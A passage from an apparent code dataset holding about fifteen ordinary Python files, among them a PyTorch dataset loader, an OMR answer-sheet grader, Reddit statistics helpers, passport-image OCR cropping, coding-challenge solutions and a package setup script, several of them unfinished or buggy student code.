bluetooth.BLE()\nble.active(1)\nble.irq(irq)\n","repo_name":"micropython/micropython","sub_path":"tests/multi_bluetooth/ble_gattc_discover_services.py","file_name":"ble_gattc_discover_services.py","file_ext":"py","file_size_in_byte":2795,"program_lang":"python","lang":"en","doc_type":"code","stars":17509,"dataset":"github-code","pt":"22"} +{"seq_id":"42620543413","text":"from torch.utils.data import Dataset\nimport os\nimport pandas as pd\nfrom PIL import Image\n\n\n# *** dataset making *** #\nclass cls_data(Dataset):\n def __init__(self, root, txt_name: str = \"train\", transforms=None, test=None):\n if test == None:\n file_path = os.path.join(\"./rn-cnn-dataset\", txt_name + \"_idx.txt\")\n with open(file_path, \"r\") as f:\n self.file_names = [x.strip() for x in f.readlines() if len(x.strip()) > 0]\n self.img_path = [os.path.join(root, x + \".jpg\") for x in self.file_names]\n\n img_target = pd.read_excel(\"./rn-cnn-dataset/new_target.xls\", sheet_name=\"Sheet1\")\n\n self.dic = dict(zip(img_target[\"img_nums\"], img_target[\"target\"]))\n\n self.transform = transforms\n self.test = test\n\n else:\n file_path = root\n self.file_names = os.listdir(file_path)\n self.img_path = [os.path.join(root, x) for x in self.file_names]\n\n img_target = pd.read_excel(\"E:/CKCNN/Classification/test_target2.xls\", sheet_name=\"Sheet1\")\n self.dic = dict(zip(img_target[\"img_nums\"], img_target[\"target\"]))\n\n self.transform = transforms\n self.test = test\n\n def __getitem__(self, item):\n img = Image.open(self.img_path[item]).convert('RGB')\n if self.transform is not None:\n img = self.transform(img)\n if self.test == None:\n target = self.dic[int(self.file_names[item])]\n else:\n a = self.file_names[item]\n target = self.dic[int(a[0: a.rfind('.')])]\n\n return img, target\n\n def __len__(self):\n return len(self.img_path)\n","repo_name":"WangHuanDaver/rn_cnn","sub_path":"code/cls_data.py","file_name":"cls_data.py","file_ext":"py","file_size_in_byte":1678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"22738764169","text":"from bs4 import BeautifulSoup\nimport requests\nimport datetime\n\n\nclass Covid_cases:\n def __init__(self, starting_date, ending_date):\n self.starting_date = starting_date\n self.ending_date = ending_date\n self.every_date = list\n\n def int_diffrente_date(self):\n starting_date = self.starting_date.split(\"-\")\n ending_date = self.ending_date.split(\"-\")\n\n start_date = datetime.date(\n int(starting_date[0]), int(starting_date[1]), int(starting_date[2])\n )\n end_date = datetime.date(\n int(ending_date[0]), int(ending_date[1]), int(ending_date[2])\n )\n delta = datetime.timedelta(days=1)\n\n while start_date <= end_date:\n date = str(start_date)\n\n self.every_date.append(date)\n start_date += delta\n return self.every_date\n\n url = \"https://en.wikipedia.org/wiki/Template:COVID-19_pandemic_data\"\n website = requests.get(url)\n\n\nclass Cases_over_time(Covid_cases):\n def __init__(self, first_country, second_country=None):\n super().__init__()\n self.first_country = first_country\n self.second_country = second_country\n\n def url(self):\n url1 = (\n \"https://en.wikipedia.org/wiki/COVID-19_pandemic_in_\" + self.first_country\n )\n url2 = (\n \"https://en.wikipedia.org/wiki/COVID-19_pandemic_in_\" + self.second_country\n )\n result1 = requests.get(url1)\n result2 = requests.get(url2)\n first_doc = BeautifulSoup(result1.text, \"html.parser\")\n second_doc = BeautifulSoup(result2.text, \"html.parser\")\n\n return first_doc, second_doc\n\n def find_cases(self, first_doc, second_doc, total_day):\n for n in range(total_day):\n if n == 31:\n n = 0\n\n\nclass Death(Cases_over_time):\n pass\n\n\nclass Compare(Cases_over_time):\n pass\n\n\nget_total_day = Covid_cases(\"2021-08-21\", \"2021-08-29\")\ntotal_day = get_total_day.int_diffrente_date()\nprint(total_day)\nb = Cases_over_time(\"France\", \"Brazil\")\na, c = b.url()\nprint(b.find_cases(a, c))\n","repo_name":"AntoineGachet/new_repo_python","sub_path":"covid_web_scrapping/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"30928337272","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"runbook\",\n version=\"0.2\",\n description=\"a tool for defining repeatable processes in code\",\n author=\"Benjamin Fagin\",\n author_email=\"blouis@unquietcode.com\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/UnquietCode/runbook.py\",\n keywords=\"runbook playbook process\",\n packages=setuptools.find_namespace_packages(exclude=['test']),\n install_requires=[\n 'mdv == 1.7.4', # must install from commit 80f333ba\n 'markt == 0.0', # must install from repo\n 'click >= 7.0',\n ],\n license='OSI Approved :: Apache Software License',\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: Apache Software License\",\n \"Operating System :: OS Independent\",\n ],\n)","repo_name":"UnquietCode/runbook.py","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"22"} +{"seq_id":"28362709514","text":"from typing import List\n\n\nclass Solution:\n def solve(self, N: int, p: List[int]) -> int:\n # code here\n adj = [[] for _ in range(N)]\n for i in range(1, N):\n adj[p[i]].append(i)\n\n ans = 1 if len(adj[0]) == 1 else 0\n for a in adj:\n if not a:\n ans += 1\n\n return max(N - 1 - ans, 0)\n\n\n# {\n# Driver Code Starts\nclass IntArray:\n def __init__(self) -> None:\n pass\n\n def Input(self, n):\n arr = [int(i) for i in input().strip().split()] # array input\n return arr\n\n def Print(self, arr):\n for i in arr:\n print(i, end=\" \")\n print()\n\n\nif __name__ == \"__main__\":\n t = int(input())\n for _ in range(t):\n N = int(input())\n\n p = IntArray().Input(N)\n\n obj = Solution()\n res = obj.solve(N, p)\n\n print(res)\n\n\n# } Driver Code Ends\n","repo_name":"huggin/gfg","sub_path":"tree/tree_transformation.py","file_name":"tree_transformation.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"74803059895","text":"from .. import classes\n\nimport hydra\nwith hydra.initialize(config_path='../../conf', version_base=None):\n from conf.excel_settings_class import ExcelSettingsLink\n cfg: ExcelSettingsLink = hydra.compose(config_name=\"excel_settings\")\n #from conf.sheet_settings_class import SheetSettingsLink\n #cfg2: SheetSettingsLink = hydra.compose(config_name=\"sheet_settings\")\n\n\ndef updateMaster(XLSUpdate: classes.XLSUpdate, XLSMaster: classes.XLSMaster) -> classes.XLSMaster:\n \"\"\"Update the master sheet with data that was flagged update\"\"\"\n\n # Define the return variable\n XLSreturn = XLSMaster\n\n sheetList = XLSUpdate.getSheetList()\n for sheetName in sheetList:\n # Get the sheets manually\n updateSheet = XLSUpdate.getSheet(sheetName)\n masterSheet = XLSMaster.getSheet(sheetName)\n returnSheet = masterSheet\n\n # Display to screen\n print(\"Update Sheet: {}\".format(updateSheet.name))\n\n for UP, tempLine in updateSheet.data.iterrows():\n tempLine = tempLine.copy()\n\n if tempLine[cfg.columnLabels.status] == cfg.statusLabels.update:\n\n # get the searchIndex in the master file\n searchTerm = tempLine[cfg.columnLabels.search]\n MP = masterSheet.data.index[masterSheet.data[cfg.columnLabels.search] == searchTerm].values\n\n if len(MP) > 1:\n # check for duplicates in master\n raise Exception(\"Write code here\")\n elif len(MP) == 0:\n # Create pointer based on UP position\n MP2 = UP+0.5\n tempLine[cfg.columnLabels.status] = cfg.statusLabels.new\n elif len(MP) == 1:\n # Get pointer for row to replace\n MP2 = int(MP)\n tempLine[cfg.columnLabels.status] = cfg.statusLabels.change\n else:\n pass\n\n # Display to screen\n print(f\" Update Master: {searchTerm:25} {tempLine[cfg.columnLabels.status]}\")\n\n # Update or add the line\n XLSreturn.modificationFound = True\n #returnSheet.data.loc[MP2] = tempLine\n\n # Reorder the index\n returnSheet.data = returnSheet.data.sort_index().reset_index(drop=True)\n\n # Add changed source data to XLSreturn\n XLSreturn.setSheet(sheetName, returnSheet)\n\n return XLSreturn\n","repo_name":"shaunjohnson79-Projects/ttlicious","sub_path":"src/methods/update_master.py","file_name":"update_master.py","file_ext":"py","file_size_in_byte":2443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"40507080183","text":"class Solution:\n def calculate(self, s: str) -> int:\n \n s = s.replace(' ','')\n res = []\n currentNumber = ''\n operation = '+'\n \n for i, si in enumerate(s):\n \n currentChar = si\n if currentChar.isdigit():\n currentNumber += currentChar\n \n if not currentChar.isdigit() or i == len(s) - 1:\n \n currentNumber = int(currentNumber)\n if operation == '-':\n res.append(-currentNumber)\n\n elif operation == '+':\n res.append(currentNumber)\n\n elif operation == '*':\n top = res.pop(-1)\n res.append(int(currentNumber) * int(top))\n \n elif operation == '/':\n top = res.pop(-1)\n sign = 1 if int(top) // int(currentNumber) > 0 else -1\n res.append(abs(int(top)) // abs(int(currentNumber)) * sign)\n \n operation = currentChar\n currentNumber = ''\n \n \n result = 0\n if res:\n result = sum(res)\n\n return result\n\nif __name__ == '__main__':\n\n\n s = \"2+ 4 / 2 * 9\"\n ans = Solution().calculate(s)\n print(ans)","repo_name":"vic4code/leetcode","sub_path":"python/227_Basic_Calculator_II.py","file_name":"227_Basic_Calculator_II.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"70828858936","text":"import sys\r\nimport cv2\r\nimport json\r\n\r\n\r\ndef answer_box_1(ROI):\r\n\r\n ret, thresh = cv2.threshold(ROI, 0, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)\r\n roi_contours = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\n for ri in range(len(roi_contours[0])):\r\n roi_area = cv2.contourArea(roi_contours[0][ri])\r\n if (roi_area > 100) and (roi_area < 200):\r\n (x,y),radius = cv2.minEnclosingCircle(roi_contours[0][ri])\r\n center = (int(x),int(y))\r\n radius = int(radius)\r\n cv2.circle(new_image, center, radius, (0,0,255), 2)\r\n\r\n # first row\r\n\r\n a,b = center\r\n if (40 <= b <= 45):\r\n if (a < 100):\r\n ques_no = 11\r\n option = a\r\n elif (160 <= a <= 240):\r\n ques_no = 13\r\n option = a - 140\r\n elif (300 <= a <= 380):\r\n ques_no = 15\r\n option = a - 280\r\n elif (440 <= a <= 520):\r\n ques_no = 17\r\n option = a - 420\r\n elif (580 <= a <= 660):\r\n ques_no = 19\r\n option = a - 560\r\n\r\n # second row\r\n\r\n elif (80 <= b <= 85):\r\n if (a < 100):\r\n ques_no = 12\r\n option = a\r\n elif (160 <= a <= 240):\r\n ques_no = 14\r\n option = a - 140\r\n elif (300 <= a <= 380):\r\n ques_no = 16\r\n option = a - 280\r\n elif (440 <= a <= 520):\r\n ques_no = 18\r\n option = a - 420\r\n elif (580 <= a <= 660):\r\n ques_no = 20\r\n option = a - 560\r\n\r\n # selecting shaded options\r\n\r\n if (25 <= option <= 35):\r\n if ques_no in answers:\r\n answers.pop(ques_no)\r\n else:\r\n answers[ques_no] = 'A'\r\n elif (45 <= option <= 55):\r\n if ques_no in answers:\r\n answers.pop(ques_no)\r\n else:\r\n answers[ques_no] = 'B'\r\n elif (65 <= option <= 75):\r\n if ques_no in answers:\r\n answers.pop(ques_no)\r\n else:\r\n answers[ques_no] = 'C'\r\n elif (85 <= option <= 95):\r\n if ques_no in answers:\r\n answers.pop(ques_no)\r\n else:\r\n answers[ques_no] = 'D'\r\n\r\n\r\ndef answer_box_2(ROI):\r\n\r\n ret, thresh = cv2.threshold(ROI, 0, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)\r\n roi_contours = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\n for ri in range(len(roi_contours[0])):\r\n roi_area = cv2.contourArea(roi_contours[0][ri])\r\n if (roi_area > 100) and (roi_area < 200):\r\n (x,y),radius = cv2.minEnclosingCircle(roi_contours[0][ri])\r\n center = (int(x),int(y))\r\n radius = int(radius)\r\n cv2.circle(new_image, center, radius, (0,0,255), 2)\r\n\r\n # first row\r\n\r\n a,b = center\r\n option = 0\r\n if (70 <= b <= 80):\r\n if (a < 110):\r\n ques_no = 1\r\n option = a - 10\r\n elif (170 <= a <= 250):\r\n ques_no = 6\r\n option = a - 145\r\n # second row\r\n\r\n if (110 <= b <= 120):\r\n if (a < 110):\r\n ques_no = 2\r\n option = a - 10\r\n elif (170 <= a <= 250):\r\n ques_no = 7\r\n option = a - 145\r\n # third row\r\n\r\n if (150 <= b <= 160):\r\n if (a < 110):\r\n ques_no = 3\r\n option = a - 10\r\n elif (170 <= a <= 250):\r\n ques_no = 8\r\n option = a - 145\r\n # fourth row\r\n\r\n if (190 <= b <= 200):\r\n if (a < 110):\r\n ques_no = 4\r\n option = a - 10\r\n elif (170 <= a <= 250):\r\n ques_no = 9\r\n option = a - 145\r\n # fifth row\r\n\r\n if (230 <= b <= 240):\r\n if (a < 110):\r\n ques_no = 5\r\n option = a - 10\r\n elif (170 <= a <= 250):\r\n ques_no = 10\r\n option = a - 145\r\n\r\n\r\n\r\n # selecting shaded options\r\n # print(option)\r\n if (25 <= option <= 35):\r\n if ques_no in answers:\r\n answers.pop(ques_no)\r\n else:\r\n answers[ques_no] = 'A'\r\n elif (45 <= option <= 55):\r\n if ques_no in answers:\r\n answers.pop(ques_no)\r\n else:\r\n answers[ques_no] = 'B'\r\n elif (65 <= option <= 75):\r\n if ques_no in answers:\r\n answers.pop(ques_no)\r\n else:\r\n answers[ques_no] = 'C'\r\n elif (85 <= option <= 95):\r\n if ques_no in answers:\r\n answers.pop(ques_no)\r\n else:\r\n answers[ques_no] = 'D'\r\n\r\n\r\ndef enrollment_num(ROI):\r\n\r\n ret, thresh = cv2.threshold(ROI, 0, 255, cv2.THRESH_BINARY_INV | cv2.THRESH_OTSU)\r\n roi_contours = cv2.findContours(thresh, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\n for ri in range(len(roi_contours[0])):\r\n roi_area = cv2.contourArea(roi_contours[0][ri])\r\n if (roi_area > 100) and (roi_area < 200):\r\n (x,y),radius = cv2.minEnclosingCircle(roi_contours[0][ri])\r\n center = (int(x),int(y))\r\n radius = int(radius)\r\n cv2.circle(new_image, center, radius, (0,0,255), 2)\r\n\r\n a,b = center\r\n position = 1\r\n value = 0\r\n\r\n # finding position of enrollment number\r\n\r\n if (25 <= a <= 35):\r\n position = 1\r\n elif (45 <= a <= 55):\r\n position = 2\r\n elif (65 <= a <= 75):\r\n position = 3\r\n elif (85 <= a <= 95):\r\n position = 4\r\n elif (105 <= a <= 115):\r\n position = 5\r\n elif (125 <= a <= 135):\r\n position = 6\r\n elif (145 <= a <= 155):\r\n position = 7\r\n elif (165 <= a <= 175):\r\n position = 8\r\n elif (185 <= a <= 195):\r\n position = 9\r\n elif (205 <= a <= 215):\r\n position = 10\r\n\r\n # finding value of enrollment number\r\n\r\n if (70 <= b <= 80):\r\n value = 1\r\n elif (90 <= b <= 100):\r\n value = 2\r\n elif (110 <= b <= 120):\r\n value = 3\r\n elif (130 <= b <= 140):\r\n value = 4\r\n elif (150 <= b <= 160):\r\n value = 5\r\n elif (170 <= b <= 180):\r\n value = 6\r\n elif (190 <= b <= 200):\r\n value = 7\r\n elif (210 <= b <= 220):\r\n value = 8\r\n elif (230 <= b <= 240):\r\n value = 9\r\n elif (250 <= b <= 260):\r\n value = 0\r\n\r\n # adding enrollment values to dictionary\r\n enroll_dict[position] = value\r\n\r\nimage_location = sys.argv[1]\r\nanswer_key_json = sys.argv[2]\r\ncorrect_mark = int(sys.argv[3])\r\nenroll_dict = {}\r\nanswers = {}\r\nanswer_key = {}\r\n\r\n\r\nimage = cv2.imread(image_location)\r\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\nblurred = cv2.GaussianBlur(gray, (5, 5), 0)\r\nedged = cv2.Canny(blurred, 80, 90)\r\ncontours = cv2.findContours(edged, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\r\n\r\nques_box_1 = False\r\nques_box_2 = False\r\nenrollment_box = False\r\n\r\n# selecting Answer Box from OMR Sheet\r\n\r\nfor i in range(len(contours[0])):\r\n if contours[1][0][i][1] == -1:\r\n area = cv2.contourArea(contours[0][i])\r\n if area > 50000:\r\n x,y,w,h = cv2.boundingRect(contours[0][i])\r\n\r\n # selecting Answer Box 1\r\n\r\n if (265 <= w <= 280):\r\n if not ques_box_1:\r\n cv2.rectangle(image, (x,y), (x+w, y+h), (0,255,0), 1 )\r\n ROI = gray[y:y+h, x:x+w]\r\n new_image = image[y:y+h, x:x+w]\r\n ques_box_1 = True\r\n answer_box_2(ROI)\r\n\r\n # selecting Answer Box 2\r\n\r\n if (675 <= w <= 690):\r\n if not ques_box_2:\r\n cv2.rectangle(image, (x,y), (x+w, y+h), (0,255,0), 1 )\r\n ROI = gray[y:y+h, x:x+w]\r\n new_image = image[y:y+h, x:x+w]\r\n ques_box_2 = True\r\n answer_box_1(ROI)\r\n\r\n # selecting enrollment code box\r\n\r\n if (365 <= w <= 380):\r\n if not enrollment_box:\r\n cv2.rectangle(image, (x,y), (x+w, y+h), (0,255,0), 1 )\r\n ROI = gray[y:y+h, x:x+w]\r\n new_image = image[y:y+h, x:x+w]\r\n enrollment_box = True\r\n enrollment_num(ROI)\r\n\r\n\r\nenroll_dict = dict(sorted(enroll_dict.items()))\r\nif len(enroll_dict) == 10:\r\n enrollment_code = ''\r\n for enroll in enroll_dict:\r\n enrollment_code += str(enroll_dict[enroll])\r\nelse:\r\n enrollment_code = 'Enrollment number not properly coded'\r\n\r\nanswers = dict(sorted(answers.items()))\r\n\r\nanswer_key_json = json.loads(answer_key_json)\r\nfor json in answer_key_json:\r\n answer_key.update(json)\r\n\r\nmarks = 0\r\nfor answer in answers:\r\n if(str(answer) in answer_key):\r\n if (answers[answer] == answer_key[str(answer)]):\r\n marks += correct_mark\r\n\r\nresult = {}\r\nresult['e_code'] = enrollment_code\r\nresult['marks'] = marks\r\nprint(result)\r\n","repo_name":"albert-felix/omr-reader","sub_path":"backend/omr.py","file_name":"omr.py","file_ext":"py","file_size_in_byte":10011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"70690915255","text":"from datetime import datetime\n\nimport day_12.loops\n\n\nclass Person:\n def __init__(self, name, age):\n self.name = name\n self.age = age\n\n @classmethod\n def from_birth_year(cls, name, year): #this is also called factory method\n age = datetime.today().year - year\n return cls(name, age)\n\n @staticmethod\n def message(d):\n if d<20:\n return \"It is a short distance\"\n return \"It's way too long\"\n\np1 = Person(\"Jon\", 25)\nprint(p1.age)\np2 = Person.from_birth_year(\"Jane\", 2002)\nprint(p2.age)\n\nprint(Distance.message(45)) #calling static method using class\nprint(d1.message(16)) #calling static method using an object\n","repo_name":"ShrutiKhanal/python","sub_path":"day_18/factory_method.py","file_name":"factory_method.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"28067272016","text":"\nfrom datetime import datetime\nimport numpy as np\n\nsubsDict = {}\nwith open('dashboard\\subreddits.txt') as myfile:\n for line in myfile:\n name, description = line.partition(\"=\")[::2]\n subsDict[name.strip()] = description.strip()\nsupportSubs = list(subsDict.keys())\nfor i in range(len(supportSubs)):\n supportSubs[i] = supportSubs[i][2:]\n\ndef postingActivityDay(comments):\n supportSubs = ['test', 'videos','pcgaming']\n DoTW = {'Sunday': 0, 'Monday': 0, 'Tuesday': 0, 'Wednesday': 0, 'Thursday': 0, 'Friday': 0, 'Saturday': 0,}\n for comment in comments:\n # if(str(comment.subreddit) in supportSubs):\n unix_val = datetime.fromtimestamp(comment.created)\n day = unix_val.weekday()\n if(day == 0): day = 'Sunday'\n elif(day == 1): day = 'Monday'\n elif(day == 2): day = 'Tuesday'\n elif(day == 3): day = 'Wednesday'\n elif(day == 4): day = 'Thursday'\n elif(day == 5): day = 'Friday'\n elif(day == 6): day = 'Saturday'\n if(day in DoTW):\n DoTW[day] += 1\n return DoTW\n\n\ndef topTenSubreddits(comments):\n subList = {}\n for comment in comments:\n if(str(comment.subreddit) in subList):\n subList[str(comment.subreddit)] += 1\n else:\n subList[str(comment.subreddit)] = 1\n \n return subList\n\ndef wordsDict(comments):\n supportSubs = ['test', 'videos','pcgaming']\n wordsMain = {}\n for comment in comments:\n if(str(comment.subreddit) in supportSubs):\n body = str(comment.body)\n wordList = body.split()\n for word in wordList:\n if word not in wordsMain:\n wordsMain[word] = 1\n else:\n wordsMain[word] += 1\n return wordsMain\n\ndef averageCommentLengthSupport(comments):\n commentLengths = []\n supportSubs = ['test', 'videos','pcgaming']\n for comment in comments:\n if(str(comment.subreddit) in supportSubs):\n body = str(comment.body)\n if(len(body) > 5): #dont count comments less than 5 characters\n commentLengths.append(len(body))\n\n avg = np.average(commentLengths)\n median = np.median(commentLengths)\n limited_float = round(avg, 2)\n output = []\n output.append(limited_float) \n output.append(median)\n return output\n\ndef getSupportSubs():\n return subsDict\n\ndef get_subreddit_stats(subreddit):\n '''\n Get stats for a subreddit.\n\n Keyword arguments:\n subreddit = an instance of Praw's subreddit class. \n\n Returns a dictionary.\n \n '''\n sub_stats = {\n 'title': subreddit.display_name,\n 'description': subreddit.public_description,\n 'subscriber_count': subreddit.subscribers\n }\n return sub_stats\n\ndef get_post_history(user):\n '''\n Get user's post history.\n\n Keyword arguments:\n user = an instance of Praw's redditor class.\n\n Returns a list of each post (as a dictionary).\n \n '''\n post_history = []\n for submission in user.submissions.new():\n temp = submission.subreddit\n post = {\n 'id': submission.id,\n 'title': submission.title,\n 'created': submission.created_utc,\n 'subreddit': temp.display_name,\n 'body':submission.selftext,\n 'num_comments': submission.num_comments\n } \n post_history.append(post)\n return post_history\n\ndef get_posts_in_subreddit(post_history, subreddit):\n '''\n Get user's posts in subreddit.\n\n Keyword arguments:\n post_history = list returned from get_post_history(user).\n subreddit = instance of Praw's subreddit class.\n\n Returns a list of : [title (str), date created (str), parent subreddit (Subreddit class), body text (str), number of comments (int) ]\n '''\n posts_in_subreddit = []\n for post in post_history:\n if post['subreddit'] == subreddit:\n posts_in_subreddit.append(post)\n return posts_in_subreddit\n\ndef get_comment_history(user):\n '''\n Get user's comment history.\n\n Keyword arguments:\n user = an instance of Praw's redditor class.\n\n Returns a list: [date created, comment id (str), parent subreddit (Subreddit class), body text (str)]\n \n '''\n comment_history = []\n for comment in user.comments.new():\n temp = comment.subreddit\n x = {\n 'id': comment.id,\n 'created': comment.created_utc,\n 'post': comment.submission.id,\n 'subreddit': temp.display_name,\n 'body': comment.body\n }\n comment_history.append(x)\n return comment_history\n\ndef get_comments_in_subreddit(comment_history, subreddit):\n '''\n Get user's comments in a subreddit.\n\n Keyword arguments:\n comment_history = list returned from get_comment_history(user).\n subreddit = instance of Praw's subreddit class.\n\n Returns a list: [date created, comment id (str), parent subreddit (Subreddit class), body text (str)]\n '''\n comments_in_subreddit = []\n for comment in comment_history:\n if comment[\"subreddit\"] == subreddit.display_name:\n comments_in_subreddit.append(comment)\n return comments_in_subreddit","repo_name":"Montymakes/Reddit-Recovery-Dashboard","sub_path":"dashboard/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":5243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"} +{"seq_id":"14464977668","text":"def binarysearch(arr,start,end,val):\n if start==end:\n if arr[start]>val:\n return start\n elif arr[start]end:\n return start\n\n mid=(start+end)//2\n\n if valarr[mid]:\n return binarysearch(arr,mid+1,end,val)\n else:\n return mid\n\ndef insertionsort(arr):\n\n for i in range(1,len(arr)):\n\n val=arr[i]\n j=i-1\n \n loc=binarysearch(arr,0,i-1,val)\n\n while(j>=loc):\n arr[j+1]=arr[j]\n j=j-1\n arr[j+1]=val\n print(arr)\narr=[37, 23, 0, 17, 12, 72, 31,46, 100, 88, 54]\ninsertionsort(arr)","repo_name":"KumarAmbuj/fgf_sorting","sub_path":"12.BINARY INSERTION SORT2.py","file_name":"12.BINARY INSERTION SORT2.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"23542471611","text":"import cv2\nimport pytesseract\nimport imutils\nfor i in range(28,29):\n img = cv2.imread(f'new pasports/{i}.jpg')\n # img_orig_rot = imutils.rotate_bound(img, angle=270)\n # img_gray2 = cv2.adaptiveThreshold(cv2.cvtColor(img, cv2.COLOR_BGR2GRAY), 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C,\n # cv2.THRESH_BINARY, 199, 25)\n # img_rot2 = imutils.rotate_bound(img_gray2, angle=270)\n # img_rot3 = img_rot2[0:300 , 0:750]\n print(img.shape)\n gorizontal=img.shape[0]\n vertical=img.shape[1]\n gorizontal_coord_start=int(round(gorizontal*0.53))\n gorizontal_coord_end=int(round(gorizontal*0.9))\n vertical_coord_star=int(round(vertical*0.33))\n vertical_coord_end=int(round(vertical*0.85))\n print(gorizontal,vertical)\n img1_obr=img[gorizontal_coord_start:gorizontal_coord_end,vertical_coord_star:vertical_coord_end]\n img_bw = cv2.adaptiveThreshold(cv2.cvtColor(img, cv2.COLOR_BGR2GRAY), 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C,\n cv2.THRESH_BINARY, 199, 25)\n img_bw2 = cv2.threshold(cv2.cvtColor(img, cv2.COLOR_BGR2GRAY), 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)[1]\n img_bw=img_bw[gorizontal_coord_start:gorizontal_coord_end,vertical_coord_star:vertical_coord_end]\n img_bw2=img_bw2[gorizontal_coord_start:gorizontal_coord_end,vertical_coord_star:vertical_coord_end]\n cv2.imshow(\"orig\", img)\n cv2.imshow(\"obr_orig\", img1_obr)\n cv2.imshow(\"obr_orig1\", img_bw)\n cv2.imshow(\"obr_orig2\", img_bw2)\n # cv2.imshow(\"orig_rot\", img_orig_rot)\n # cv2.imshow(\"Gray rot\", img_rot3)\n # cv2.imshow(\"Gray obr\", img_rot2)\n config = r'-l rus --oem 1 --psm 3 tessedit_char_whitelist=0123456789абвгдеёжзийклмнопрстуфхцчшщъыьэюяАБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ.'\n pytesseract.pytesseract.tesseract_cmd = r'C:\\Program Files\\Tesseract-OCR\\tesseract.exe'\n text_img1_obr = pytesseract.image_to_string(img1_obr, lang='ru', config=config)\n text_img_bw = pytesseract.image_to_string( img_bw, lang='ru', config=config)\n text_img_bw2 = pytesseract.image_to_string(img_bw2, lang='ru', config=config)\n # print('img1_obr:', text_img1_obr)\n # print('-----------------------------------------------')\n # print('img_bw:', text_img_bw)\n # print('-----------------------------------------------')\n # print('text_img_bw2:', text_img_bw2)\n # print('-----------------------------------------------')\n print('----------------------------------------')\n list1 = text_img1_obr.replace('\\n','').split(' ')\n print(list1)\n print('----------------------------------------')\n list2 = text_img_bw.replace('\\n','').split(' ')\n print(list2)\n print('----------------------------------------')\n list3 = text_img_bw2.replace('\\n','').split(' ')\n print(list3)\n\n cv2.waitKey(0)\n","repo_name":"Semyon22/ProcessingOfPassportData","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"11840777929","text":"from collections import deque\nimport sys\n\nsys.setrecursionlimit(int(1e6))\ninput = sys.stdin.readline\n\nn = int(input())\n\na=n//5\nb=n%5\n\nanswer = 5000 #문제에서 주어진 n의 최대값\n\nfor i in range(n//3+1) :\n a=i+int((n-5*i)//3)\n if 0<=(n-5*i) and (n-5*i)%3==0 and answer > a :\n answer = a \n\nif answer == 5000 :\n print(-1)\nelse :\n print(answer)\n","repo_name":"SESAC2023/eunsun_lee","sub_path":"baekjoon/12. 브루트/6. 설탕배달_2839.py","file_name":"6. 설탕배달_2839.py","file_ext":"py","file_size_in_byte":375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"23032896670","text":"from typing import List\n\nimport numpy as np\n\n\ndef get_all_factors(n: int) -> List[int]:\n n0 = int(np.ceil(np.sqrt(n)))\n val = np.where(n % np.arange(1, n0) == 0)[0] + 1\n mid = np.array([], dtype=int) if n0 * n0 != n else [n0]\n return [int(x) for x in np.concatenate([val, mid, n // val[::-1]])]\n\ndef factorize(n: int) -> List[int]:\n i = 2\n result = []\n while n > 1:\n if n % i == 0:\n n //= i\n result.append(i)\n else:\n i += 1\n return result\n\ndef coalesced_factor(subtensor: List[int], tensor: List[int]) -> int:\n if subtensor[-1] != tensor[-1] or len(subtensor) == 1:\n return subtensor[-1]\n else:\n return subtensor[-1] * coalesced_factor(subtensor[:-1], tensor[:-1])\n\ndef coalesced_tensor_shape(subtensor: List[int], tensor: List[int], transaction_size: int) -> int:\n bytes = int(np.prod(subtensor))\n if bytes == 0: return 0\n factor = coalesced_factor(subtensor, tensor)\n return transaction_size * bytes / min(transaction_size, factor)\n","repo_name":"nox-410/Welder_artifacts","sub_path":"python/welder/policy/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"} +{"seq_id":"27815695235","text":"#Author: Isaac Morales\r\n#File Name: Area.py\r\n#Date: September 8,2015\r\n#Description: takes the user's input and changes it into a mixed fraction\r\n\r\nNum=int(input('Enter the numerator:'))\r\nDen=int(input('Enter the denominator:'))\r\n\r\n#collecting user 